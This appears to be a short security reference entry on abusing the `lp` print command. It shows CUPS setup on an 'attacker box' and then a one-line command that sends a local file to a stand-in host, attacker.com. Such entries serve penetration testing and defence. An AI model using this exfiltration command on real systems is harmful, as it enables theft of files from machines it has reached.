lp

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This requires `cups` to be installed. Run the following on the attacker box beforehand: 1. `lpadmin -p printer -v socket://localhost -E` to create a virtual printer; 2. `lpadmin -d printer` to set the new printer as default; 3. `cupsctl --remote-any` to enable printing from the Internet.

lp /path/to/input-file -h attacker.com